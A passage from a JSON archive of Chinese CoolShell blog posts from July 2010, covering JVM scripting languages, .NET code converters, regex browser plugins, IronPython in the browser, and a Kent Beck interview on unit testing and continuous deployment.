href=\"https://coolshell.cn/articles/5531.html\">Test-Driven Development？别逗了</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5625.html\"><img alt=\"“品质在于构建过程”吗？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5625.html\">“品质在于构建过程”吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5143.html\"><img alt=\"在新浪微博上关于敏捷的一些讨论\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5143.html\">在新浪微博上关于敏捷的一些讨论</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5044.html\"><img alt=\"为什么Scrum不行？\" height=\"150\" src=\"../wp-content/uploads/2011/07/hat-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5044.html\">为什么Scrum不行？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2622.html\">为什么敏捷方法能在软件开发中行之有效？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-19 五大基于JVM的脚本语言.html",
    "content": "<html><body><p>还记得以前本站的一篇文章《<a href=\"https://coolshell.cn/articles/531.html\" rel=\"bookmark\" target=\"_blank\">如何在Google App Engine上运行PHP</a>》吗，其实那是借用 <a href=\"http://www.caucho.com/resin-3.0/quercus/\">Quercus</a>， 一个 100% 的用Java 实现的一个 PHP 引擎。今天，这样的东西太多了，能运行在Java的虚拟机JVM上的程序意味着有天然的跨平台性，现在JVM并不单单只能运行Java程序，在JVM上出现了若干使用Java虚拟机运行的脚本程序，比如什么PHP, Python, Ruby等等，这里有一篇<a href=\"http://infoworld.com/d/developer-world/top-five-scripting-languages-the-jvm-855\" target=\"_blank\">文章</a>评论了在JVM上的可以运行的排名前五脚本语言。他们分别是：</p>\n<ol>\n<li><a href=\"http://groovy.codehaus.org/\" target=\"_blank\"> <strong>Groovy</strong></a>。构建在强大的Java语言之上 并添加了从Python，Ruby和Smalltalk等语言中学到的诸多特征，为Java开发者提供了现代最流行的编程语言特性，而且学习成本很低（几乎为零），在开发Web，GUI，数据库或控制台程序时， 通过减少框架性代码 大大提高了开发者的效率。支持单元测试和模拟（对象），可以简化测试。无缝集成 所有已经存在的 Java对象和类库。直接编译成Java字节码，这样可以在任何使用Java的地方 使用Groovy。</li>\n<li><a href=\"http://jruby.org/\" target=\"_blank\"><strong>JRuby</strong></a>。一个纯Java实现的Ruby解释器。通过JRuby，你可以在JVM上直接运行Ruby程序，调用Java的类库。很多Java编写的Ruby IDE都是使用JRuby来解释语法的。</li>\n<li><a href=\"http://www.scala-lang.org/\" target=\"_blank\"> <strong>Scala</strong></a>。一种多范式的编程语言，设计意图是要整合面向对象编程和函数式编程的各种特性。Scala编程语言近来抓住了很多开发者的眼球。它看起来像是一种纯粹的面向对象编程语言，而又无缝地结合了命令式和函数式的编程风格。Scala的名称表明，它还是一种高度可伸缩的语言。Scala的设计始终贯穿着一个理念：创造一种更好地支持组件的语言。</li>\n<li><a href=\"http://fantom.org/\" target=\"_blank\"><strong>Fantom </strong></a>。Fantom 前身是 (Fan) 是一个基于 Java 和 .NET 平台的编程脚本引擎，用来在运行时产生 JVM 和 .NET 平台的字节码，该语言是面向对象的，跟 Groovy 和 JRuby 有点类似，可通过特定的接口来集成 Java 的类库。</li>\n<li><a href=\"http://www.jython.org/\" target=\"_blank\"><strong>Jython</strong></a>。Jython由于继承了Java和Python二者的特性而显得很独特。其是一种完整的语言，而不是一个Java翻译器或仅仅是一个Python编译器，它是一个Python语言在Java中的完全实现。Jython也有很多从CPython中继承的模块库。最有趣的事情是Jython不像CPython或其他任何高级语言，它提供了对其实现语言的一切存取。所以Jython不仅给你提供了Python的库，同时也提供了所有的Java类。这使其有一个巨大的资源库。</li>\n</ol>\n<p><a href=\"http://www.infoworld.com/d/developer-world/top-five-scripting-languages-the-jvm-855?page=0,1#jvm1\"></a></p>\n<p><a href=\"http://www.infoworld.com/d/developer-world/top-five-scripting-languages-the-jvm-855?page=0,3#jvm4\"></a></p>\n<p>下面是一张表格比较了这五大JVM脚本语言：</p>\n<p><span id=\"more-2631\"></span></p>\n<table align=\"center\" border=\"0\">\n<tbody>\n<tr>\n<th></th>\n<th><a href=\"http://groovy.codehaus.org/\" target=\"_blank\"><strong>Groovy</strong></a></th>\n<th><a href=\"http://jruby.org/\" target=\"_blank\"><strong>JRuby</strong></a></th>\n<th><a href=\"http://www.scala-lang.org/\" target=\"_blank\"><strong>Scala</strong></a></th>\n<th><a href=\"http://fantom.org/\" target=\"_blank\"><strong>Fantom</strong></a></th>\n<th><a href=\"http://www.jython.org/\" target=\"_blank\"><strong>Jython</strong></a></th>\n</tr>\n<tr>\n<td><strong>风格类型</strong></td>\n<td>OO / 动态</td>\n<td>OO / 动态</td>\n<td>OO, 过程/ 静态</td>\n<td>OO / 静态</td>\n<td>OO / 动态</td>\n</tr>\n<tr>\n<td><strong>源语言</strong></td>\n<td>Java</td>\n<td>Ruby</td>\n<td>N/A</td>\n<td>N/A</td>\n<td>Python</td>\n</tr>\n<tr>\n<td><strong>运行</strong></td>\n<td>编译型</td>\n<td>编译型,<br/>\n解释型</td>\n<td>编译型</td>\n<td>半编译型</td>\n<td>编译型</td>\n</tr>\n<tr>\n<td><strong>平台</strong></td>\n<td>JVM</td>\n<td>JVM</td>\n<td>JVM</td>\n<td>JVM, .Net CLR</td>\n<td>JVM</td>\n</tr>\n<tr>\n<td><strong>Java集成</strong></td>\n<td>极好</td>\n<td>极好</td>\n<td>极好</td>\n<td>好</td>\n<td>极好</td>\n</tr>\n<tr>\n<td><strong>运行速度</strong></td>\n<td>好</td>\n<td>好</td>\n<td>极好</td>\n<td>很好</td>\n<td>慢</td>\n</tr>\n<tr>\n<td><strong>工具支持</strong></td>\n<td>广泛</td>\n<td>还可以</td>\n<td>广泛</td>\n<td>几乎没有</td>\n<td>几乎没有</td>\n</tr>\n</tbody>\n</table>\n<p>其它一些JVM的脚本语言也我们可以关注一下，如：<a href=\"http://clojure.org/\" target=\"_blank\"><strong>Clojure</strong></a>, <a href=\"http://javafx.com/\" target=\"_blank\"><strong>JavaFX</strong></a>, 和IBM的 <a href=\"http://www.ibm.com/software/awdtools/netrexx/\" target=\"_blank\"><strong>NetRexx</strong></a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4905.html\"><img alt=\"语言的数据亲和力\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4905.html\">语言的数据亲和力</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11175.html\"><img alt=\"Java中的CopyOnWrite容器\" height=\"150\" src=\"../wp-content/uploads/2014/03/cow-copy-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2631.html\">五大基于JVM的脚本语言</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-20 .NET代码转换器.html",
    "content": "<html><body><p>想把.NET的代码（C#和VB.NET)互转吗？或是转成Python或Ruby吗？在 <a href=\"http://www.developerfusion.com/\" target=\"_blank\">http://www.developerfusion.com/</a> 站点上有这样的在线工具。点击下面的链接你可以使用这些工具。当然，这些工具也有很多<a href=\"http://feedback.developerfusion.com/pages/code_converter\" target=\"_blank\">BUG</a>。</p>\n<ul>\n<li><a href=\"http://www.developerfusion.com/tools/convert/csharp-to-vb/\" target=\"_blank\">把 C# 转成 VB.NET</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/csharp-to-python/\" target=\"_blank\">把 C# 转成 Python</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/csharp-to-ruby/\" target=\"_blank\">把 C# 转成Ruby</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/vb-to-csharp/\" target=\"_blank\">把 VB.NET 转成C#</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/vb-to-python/\" target=\"_blank\">把 VB.NET 转成 Python</a></li>\n<li><a href=\"http://www.developerfusion.com/tools/convert/vb-to-ruby/\" target=\"_blank\">把 VB.NET 转成 Ruby</a></li>\n</ul>\n<p>老实说，我并不太清楚这些工具有什么用，看似很useless。难道是为了用来学习新的语言？就像Google的Translator的一样？就像一个并不懂中文的老外可以用Google Translator在其Facebook中整点中文耍耍酷一样，难道说，一个C#的程序员可以用这样的工具和一个Python的程序员也耍耍酷？各位看客觉得这个东西有意义吗？</p>\n<p>不过，有一点我可以确定，如果有工具把Unix/Linux下的C源码和Windows下的C源码相互自动转换，估计这会是相当划时代的，因为，这应该会让那些什么Wine或Cygwin之类的东西都统统会成为历史了。不过，这样的东西在实现上又将会有多么大的难度（OS系统API的相互转换），这个事会有可行性吗？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11235.html\"><img alt=\"一个浮点数跨平台产生的问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3192.html\"><img alt=\"一些非常不错的资料\" height=\"150\" src=\"../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3192.html\">一些非常不错的资料</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3008.html\"><img alt=\"Windows编程革命简史\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3008.html\">Windows编程革命简史</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2672.html\">.NET代码转换器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-20 浏览器正则表达式检查插件.html",
    "content": "<html><body><p>以前本站介绍过一个在线的《<a href=\"https://coolshell.cn/articles/1830.html\" rel=\"bookmark\" target=\"_blank\">正则表达式生成器</a>》，下面是两个在浏览器中检查正则表达式的插件，Firefox的和Chrome的，希望对你有用。</p>\n<h3>1）Firefox：<a href=\"https://addons.mozilla.org/en-US/firefox/addon/2077/\" target=\"_blank\">Regular Expressions Tester</a></h3>\n<figure class=\"wp-caption aligncenter\" style=\"width: 448px;\"><img alt=\"\" height=\"489\" src=\"http://sebastianzartner.de/new/resources/images/RExT/main.png\" title=\"Firefox正规则表达式检查插件Regular Expressions Tester\" width=\"448\"/><figcaption class=\"wp-caption-text\">Firefox正规则表达式检查插件Regular Expressions Tester</figcaption></figure>\n<h3></h3>\n<h3>2）Chrome：<a href=\"https://chrome.google.com/extensions/detail/pgnkpcgniljiolidjmodgfljeomjjiha\" target=\"_blank\">Regular Expression Checker</a></h3>\n<p><span id=\"more-2667\"></span></p>\n<p><figure class=\"wp-caption aligncenter\" style=\"width: 544px;\"><img alt=\"\" height=\"580\" src=\"https://chrome.google.com/extensions/img/pgnkpcgniljiolidjmodgfljeomjjiha/1264182031.53/screenshot_big/2001\" title=\"Chrome正规则表达式检查插件Regular Expression Checker\" width=\"544\"/><figcaption class=\"wp-caption-text\">Chrome正规则表达式检查插件Regular Expression Checker</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2936.html\"><img alt=\"Mozilla的一个BUG\" height=\"150\" src=\"../wp-content/uploads/2010/09/Mozilla-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2936.html\">Mozilla的一个BUG</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2704.html\"><img alt=\"检查素数的正则表达式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2704.html\">检查素数的正则表达式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2367.html\"><img alt=\"谷歌Chrome取消”http://”\" height=\"150\" src=\"../wp-content/uploads/2010/04/URL-BAR-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2367.html\">谷歌Chrome取消”http://”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2069.html\"><img alt=\"一个浏览器市场占有量的图\" height=\"150\" src=\"../wp-content/uploads/2010/01/browser_history-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2069.html\">一个浏览器市场占有量的图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1830.html\"><img alt=\"正则表达式生成器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1830.html\">正则表达式生成器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-21 在Javascript里写Python.html",
    "content": "<html><body><p>以前，本站介绍过去一种<a href=\"https://coolshell.cn/articles/2406.html\" rel=\"bookmark\" target=\"_blank\">写HTML和CSS的新方法</a>，以<a href=\"https://coolshell.cn/articles/2529.html\" target=\"_blank\">一种杂交式的代码</a>，昨天给大家介绍了<a href=\"https://coolshell.cn/articles/2672.html\" target=\"_blank\">.NET代码和Python及Ruby代码的互相转换工具</a>，但是这个世界可能比我们想像的还疯狂。<a href=\"http://ironpython.net/\" target=\"_blank\">IronPython</a> 是一个在.NET平台上运行Python的东西，就像那些在<a href=\"https://coolshell.cn/articles/2631.html\" target=\"_blank\">JVM上运行其它语言的东东</a>一样。当然，IronPython最邪恶的事情并不是在.NET上运行Python，而是在Javascript里写Python的语法。这个畸形混血儿的网址在<a href=\"http://ironpython.net/browser/\" target=\"_blank\">这里</a>（请注意翻墙）。</p>\n<p>使用这个玩意很简单，下面，让我们看看这个混血儿长啥样？</p>\n<p>首先，你需要链接一个js文件：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;script src=\"http://gestalt.ironpython.net/dlr-latest.js\" type=\"text/javascript\"&gt;&lt;/script&gt;</pre>\n<p>然后，让我们看看如何写一个按钮事件：</p>\n<pre class=\"EnlighterJSRAW\">\n&lt;input id=\"button\" type=\"button\" value=\"Say, Hello!\" /&gt;\n&lt;script type=\"text/python\"&gt;\n  def button_onclick(s, e):\n      window.Alert(\"Hello from Python!\")\n  document.button.events.onclick += button_onclick\n&lt;/script&gt;\n</pre>\n<p>你对此事怎么看？欢迎留下你的看法。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2688.html\">在Javascript里写Python</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-22 Kent Beck 谈单元测试和持续部署.html",
    "content": "<html><body><p><em><a href=\"http://blog.typemock.com/2010/07/video-kent-beck-on-junit-max-and-lean.html\">文章来源</a></em></p>\n<p>2010年7月2日，Roy Osherove 和 Kent Beck 在 blog.typemock.com 进行了一次对话，话题涉及单元测试（Unit Testing），<a href=\"http://www.threeriversinstitute.org/junitmax/\">JUnit Max</a>（Kent 开发的一个单元测试的 Eclipse Plugin，不免费），和面向初创企业的精益方法（Lean Startups）。</p>\n<p><strong>单元测试和 JUnit Max</strong><br/>\n作为软件开发方法学的大师、极限编程XP的创始人、敏捷宣言的创始人之一，Kent Beck 一直在努力最大化地利用单元测试的价值，他说一些程序员仍然认为单元测试并不是他们的工作，但是单元测试确实能够提高软件的质量。目前他正在开发 JUnit Max，这是一个 Eclipse plugin，每当程序员保存一个 Java 源文件的时候，JUnit Max 就会运行测试并报告反馈信息。测试中的错误将会如同编译错误一样被报告给程序员。JUnit Max 的核心思想是测试错误应该和编译错误一样被 IDE 报告给程序员，程序员不需要额外的菜单选项或者运行其他的工具来运行测试。特别是那些经常失败的测试，对于程序员来说是非常有价值的反馈信息。在测试驱动开发（Test Driven Development – TDD）中，我们重复着这样一个循环：“编写一个‘失败’的测试（Failing Test）” – “编码实现功能以便让测试通过”，随着开发的深入，测试越来越丰富，测试能够反馈给程序员的信息也越来越多，它们可以帮助程序员找出那些需要改进的代码。JUnit Max 能够缩短这个循环的周期，因为它更为频繁地运行测试和提供反馈。Roy 问道：“当你一个人编码的时候，你是否严格地遵循 TDD，即一定要先写测试，然后写实现代码。我个人发现这并不是一件容易做到的事情，特别是当一个人编码的时候。” Kent 回答：“视情况而定，有时候并不需要死板地遵循 TDD，比如当我在做一些探索性或者说实验性的编码时，并不需要写测试，因为我只是想尝试一下某些功能和特性。”</p>\n<p><span id=\"more-2681\"></span></p>\n<p>Roy： “你在测试驱动开发中见过的最糟糕的错误有哪些？”<br/>\nKent：“很多程序员仅仅是拷贝和粘贴测试代码，但并不理解它们。所以我们经常能看到没有断言的测试，同时测试很多逻辑和功能的测试，过于臃肿或者过于短小的测试等等。当然这些错误在学习过程中很普遍，也是我们学习的一部分。”</p>\n<p>Roy：“你下一步最想尝试的新概念是什么？”<br/>\nKent：“我最近谈论的一个主题是 Software G Forces，是关于软件产品的部署频率（Frequency of Deployment），这里的部署是指面向最终用户的部署或者说发布，是生产环境而非测试环境。从前的软件产品每年（或数年）发布一个新的版本，而现在的软件产品发布频率越来越快，从每季度，每月，每周，每天，直至每小时。Kent 提及有一些非常复杂的软件产品的发布频率甚至是每天 40 到 50 次。此时 Roy 提出了一个非常好的问题：“产品发布得如此频繁，我们如何能够在这么短的时间间隔内获得用户反馈呢？”，Kent 回答道：“持续部署（Continuous Deployment）确实需要一些基础设施建设来支持，比如：自动版本回滚，自动错误检测，系统同时运行多个版本的能力，比如一个服务器集群中不同的服务器上可以运行产品的不同版本。”</p>\n<p>Roy 问道：“当你在开发一个产品的时候，你在为客户创造价值，而持续部署创造的则是一种内在的价值，并且实施过程也是非常复杂的，你怎样投入时间去实施它呢？是否需要从产品设计的一开始就考虑这些问题呢？”，Kent 答道：“5 年之内市场上可能会有许多持续部署的产品出现，目前我们可能需要自己来寻求解决方案，因为现在它还是一个较新的领域。持续部署的重点之一是及时捕获系统错误，不仅仅是技术层面上的错误，同时也包括业务层面。以 Amazon.com 为例，他们评价系统运行的良好程度是以业务运营状况为依据的，如果销售额出现不明原因的下降，系统也会发出错误警告。”</p>\n<p>注：为了不让文章过长，下半部分的面向初创企业的精益方法（Lean Startups）将在后面发布。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" 